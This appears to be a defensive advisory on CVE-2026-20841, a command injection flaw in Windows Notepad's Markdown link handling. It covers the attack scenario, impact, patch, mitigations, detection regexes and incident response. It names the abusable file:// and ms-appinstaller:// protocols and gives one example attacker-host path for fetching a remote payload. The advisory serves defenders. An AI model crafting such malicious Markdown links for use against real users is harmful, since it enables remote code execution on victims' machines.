Windows Notepad

CVE-2026-20841 – Command Injection in Markdown Link Handling Leading to Remote Code Execution

Affects

• Microsoft Windows Notepad (modern Microsoft Store version)
• Versions:
  • Build 11.2508 and earlier
  • Build 11.2510 and later are patched
• Components:
  • Markdown rendering engine in Windows Notepad
  • Link handler (sub_140170F60())
• Files:
  • Markdown (.md) files opened in Notepad
• Functions:
  • sub_140170F60() – link click event handler
  • ShellExecuteExW() – API call for executing link protocols

NOT VULNERABLE:

• Legacy Notepad.exe bundled with Windows (non-Store version)

Description

CVE-2026-20841 is a high-severity command injection vulnerability in the modern Windows Notepad application, discovered by Cristian Papa and Alasdair Gorniak of Delta Obscura, and analyzed by the TrendAI Research Team .

The modern Windows Notepad (distributed via the Microsoft Store) supports Markdown rendering for files with the .md extension, including clickable hyperlinks . When a Markdown file is opened, Notepad tokenizes its contents and renders links interactively.

The vulnerability resides in the sub_140170F60() function, which handles click events on these links. This function passes the link value to the Windows API call ShellExecuteExW() after applying only minimal filtering — merely stripping leading and trailing backslash and forward-slash characters .

This insufficient filtering fails to block malicious protocol URIs such as:

• file:// – can launch local executables or access remote UNC paths
• ms-appinstaller:// – can sideload malicious .appx/.msix packages

Because ShellExecuteExW() invokes configured system protocol handlers, the attack surface may extend to additional protocols depending on the target system’s configuration .

Attack Vector

Primary Attack Vector:
Remote / Network (requires user interaction)

Attack Scenario:

1. An attacker crafts a malicious Markdown (.md) file containing specially formed hyperlinks
2. The attacker delivers the file to the victim through email, download link, or social engineering tactics
3. The victim opens the file in the vulnerable version of Windows Notepad
4. Notepad renders the Markdown and displays clickable links
5. When the victim Ctrl + clicks the link, Notepad processes the URI without proper validation
6. This triggers protocol handlers that can fetch and execute remote payloads
7. The malicious code runs with the same privileges as the logged-in user

Key Characteristics:

Conditions Affecting Risk:

• Files with the .md extension are not associated with Notepad by default — users who manually open them trigger Markdown rendering
• Attackers can use interpreter extensions like .py and .jar to execute silently if Python or Java is installed
• Dangerous extensions like .exe, .lnk, .vbs trigger a Windows security warning

Impact

Successful exploitation allows a remote attacker to:

• Execute arbitrary commands in the security context of the victim’s account
• Launch local binaries (cmd.exe, powershell.exe, mshta.exe)
• Access remote UNC paths (file:///\attacker@5005\path\payload.py)
• Sideload malicious apps via ms-appinstaller:// protocol
• Install malware or establish persistence on the compromised system
• Move laterally within the network using the victim’s credentials

Important: The malicious code executes with the same privileges as the victim user — users with administrative privileges are at highest risk .

Observed Exploitation & Threat Activity

• Discovery: Cristian Papa and Alasdair Gorniak (Delta Obscura)
• Public Disclosure: February 10, 2026 (Microsoft Patch Tuesday)
• Patch Availability: Released February 2026, build 11.2510
• Public PoC: Multiple GitHub repositories available
• In-the-Wild Exploitation: Not confirmed as of publication , though some reports suggest a risk of exploitation
• CVSS Score: 8.8 (High, Network vector) / 7.8 (High, Local vector)
• Exploitability Assessment: “Exploitation Less Likely”

Disclosure Timeline:

Severity & Metrics

• CVSS v3.1: High (8.8) (Network vector) / High (7.8) (Local vector)
• Attack Vector: Network (AV:N) / Local (AV:L)
• Attack Complexity: LOW
• Privileges Required: NONE
• User Interaction: REQUIRED
• Scope: UNCHANGED
• Confidentiality Impact: HIGH
• Integrity Impact: HIGH
• Availability Impact: HIGH

Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Relevant CWE:

• CWE-77 – Command Injection

Patch & Vendor Status

• Official Patches Available: Yes – February 2026 Patch Tuesday
• Fixed Version: Build 11.2510 or later
• Delivery Method: Microsoft Store update

Patch Details:
Microsoft mitigated the flaw by presenting users with a “This link may be unsafe” warning when links use protocols other than http:// or https:// . The link will still work if the user chooses to ignore it, making this a warning rather than a complete block.

Microsoft Statement:

“An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad, causing the application to launch unverified protocols that load and execute remote files.”

Mitigation & Remediation

Immediate Actions

Short-Term Defensive Measures

If patching cannot be applied immediately:

• Do not open .md files from untrusted sources in Notepad
• Do not Ctrl + click links within Markdown files received via email or untrusted downloads
• Use alternative text editors (e.g., Notepad++) for opening untrusted Markdown files
• Restrict script execution via application control policies
• Limit user write permissions to reduce attacker’s ability to plant malicious scripts locally

Long-term Defensive Measures

• Maintain automatic app updates to ensure Microsoft Store apps receive security patches promptly
• Educate users on risks of opening files from untrusted sources and clicking links inside documents
• Monitor process creation events involving Notepad for suspicious child processes
• Implement Zero Trust enforcement — assume even built-in tools can be abused

Detection & Monitoring

Recommended Detection Sources:

Indicators of Attempted Exploitation:

• Unexpected child processes spawned from Notepad (cmd.exe, powershell.exe, python.exe)
• Notepad accessing network shares or remote URIs
• Abnormal Notepad crashes or memory corruption events
• User-reported “This link may be unsafe” warnings (indicates blocked attempt)
• Suspicious Markdown files containing file:// or ms-appinstaller:// links

Detection Pattern (from ZDI Guidance):

Monitor for Markdown files containing links with:

• file:// followed by four forward slashes or backslashes: (\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
• ms-appinstaller:// followed by two forward slashes: (\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

Post-Incident Response

If exploitation is suspected:

1. Isolate affected system from the network immediately
2. Preserve forensic evidence (system logs, Markdown file, network captures, Notepad memory dumps)
3. Update Notepad to build 11.2510 or later
4. Rotate credentials – Change passwords for any accounts accessed on the compromised system
5. Audit for persistence – Check for:
   • Unauthorized scheduled tasks
   • Modified system files
   • Suspicious user accounts
   • Rogue applications installed via ms-appinstaller://
6. Assume data exposure if sensitive information was accessible during exploitation
7. Scan for malware using endpoint protection tools
8. Document and report findings to internal security teams or relevant authorities

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-20841
• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841
• https://www.zerodayinitiative.com/blog/2026/2/19/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad
• https://github.com/dogukankurnaz/CVE-2026-20841-PoC
• https://github.com/atiilla/CVE-2026-20841
• https://www.threatlocker.com/blog/windows-notepad-vulnerability-markdown-risk-explained
• https://www.helpnetsecurity.com/2026/02/12/windows-notepad-markdown-feature-opens-door-to-rce-cve-2026-20841/
• https://cwe.mitre.org/data/definitions/77.html